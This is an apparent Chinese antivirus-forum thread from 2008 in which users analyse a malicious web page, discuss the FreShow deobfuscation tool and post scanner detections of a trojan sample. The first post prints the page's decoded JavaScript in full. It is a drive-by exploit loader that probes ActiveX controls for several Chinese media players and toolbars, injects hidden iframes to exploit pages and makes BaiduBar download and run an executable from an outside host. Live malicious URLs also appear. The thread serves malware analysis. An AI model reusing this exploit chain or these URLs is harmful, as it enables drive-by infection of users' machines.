毒网（顺便问一下，FreShow怎么用？？）

solcroft

http://xxx.eh7.biz/wm/dm.htm

刚换上McAfee，遇见第一个就挂了
jimmyleo版主的freshow按来按去老半天按不出结果
还是直接执行脚本比较快 

1. if(window["document"]["cookie"]["indexOf"]('OK')==-1){try{var QUVtE1;var WMoo2=(window["document"]["createElement"]("object"));WMoo2["setAttribute"]("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC"+"29E36");var D$cJFssH3=WMoo2["createobject"]("Adodb.Stream","")}catch(e){};finally{var QwQW4=new window["Date"]();QwQW4["setTime"](QwQW4["getTime"]()+24*60*60*1000);window["document"]["cookie"]='OK=Yes;path=/;expires='+QwQW4["toGMTString"]();if(e!="[object Error]"){window["document"]["write"]("<script language=javascript src=11.js><\/script>")}else{try{var f;var storm=new ActiveXObject("IERPCtl.IERPCtl.1")}catch(f){};finally{if(f!="[object Error]"){document.write('<iframe style=display:none src="re.htm"></iframe>')}}try{var g;var pps=new ActiveXObject("MPS.StormPlayer")}catch(g){};finally{if(g!="[object Error]"){document.write('<iframe style=display:none src="storm.htm"></iframe>')}}try{var h;var yahoo=new ActiveXObject("Pdg2")}catch(h){};finally{if(h!="[object Error]"){document.write('<iframe style=display:none src="pdg2.htm"></iframe>')}}try{var i;var ourgame=new ActiveXObject("GLCHAT.GLChatCtrl.1")}catch(i){};finally{if(i!="[object Error]"){document.write('<iframe style=display:none src="wo.htm"></iframe>')}}try{var j;var storm=new ActiveXObject("PPlayer.XPPlayer.1")}catch(j){};finally{if(j!="[object Error]"){document.write('<iframe width=100 height=0 src=Thunder.htm></iframe>')}}try{var k;var Fuck=new ActiveXObject("BaiduBar.Tool")}catch(k){};finally{if(k!="[object Error]"){Fuck["\x44\x6c\x6f\x61\x64\x44\x53"]("http://ccc.969222.com/Baidu1.cab","\x42\x61\x69\x64\x75\x2e\x65\x78\x65",0)}}try{var l;var qvod=new ActiveXObject("DPClient.Vod")}catch(l){};finally{if(l!="[object Error]"){document.write('<iframe width=100 height=0 src=qvod.htm></iframe>')}}if(f=="[object Error]"&&g=="[object Error]"&&h=="[object Error]"&&i=="[object Error]"&&j=="[object Error]"&&k=="[object Error]"&&l=="[object Error]"){location.replace("about:blank")}}}}

复制代码

ykz1991

http://bbs.kafan.cn/viewthread.php?tid=189707&extra=page%3D2
再加上帮助文档，应该差不多了
虽然我也不怎么会用

冷冷

SAMPLE2.rar (7.45 KB, 下载次数: 391)

2008-1-21 22:20 上传

点击文件名下载附件 [MD5: 7F5A73] 老毒物
------------------------------------------------------------DR.WEB
cike.com  I:\VS\VIRUS\drive\F\Tt  Trojan.DownLoader.42669

[ 本帖最后由 冷_冷 于 2008-1-21 22:21 编辑 ]

Joker

The requested object is INFECTED. The following viruses Trojan-Downloader.Win32.Small.hsh were found

Graybird

Starting the file scan:

Begin scan in 'E:\SAMPLE2.rar'
E:\SAMPLE2.rar
  [0] Archive type: RAR
  --> cike.com
      [DETECTION] Is the Trojan horse TR/Drop.Agent.8848
      [INFO]      The file was deleted!

jimmyleo

先check网址得到源码

接着esc两次 其中过程中用<<转到左边

然后就看到明文了

然后qeye

筛选出
[js]11.js
[frame]re.htm
[frame]storm.htm
[frame]pdg2.htm
[frame]wo.htm
[frame]Thunder.htm
[frame]qvod.htm

从中选出一个，因为一般是生成器搞得，所以……
选11.js

附加上 http://xxx.eh7.biz/wm/11.js 再次check
又看到script链 手动或者qeye

再次check


nice～
http://ccc.969222.com/bak.css[:26:]

冷冷

高手啊
觉得有必要写一个教程  
可是你没什么时间

solcroft

谢谢
试试看

ykz1991

最好把每个按钮的功能标清楚

qigang

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.DL.Win32.Mnless.rq

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.28.11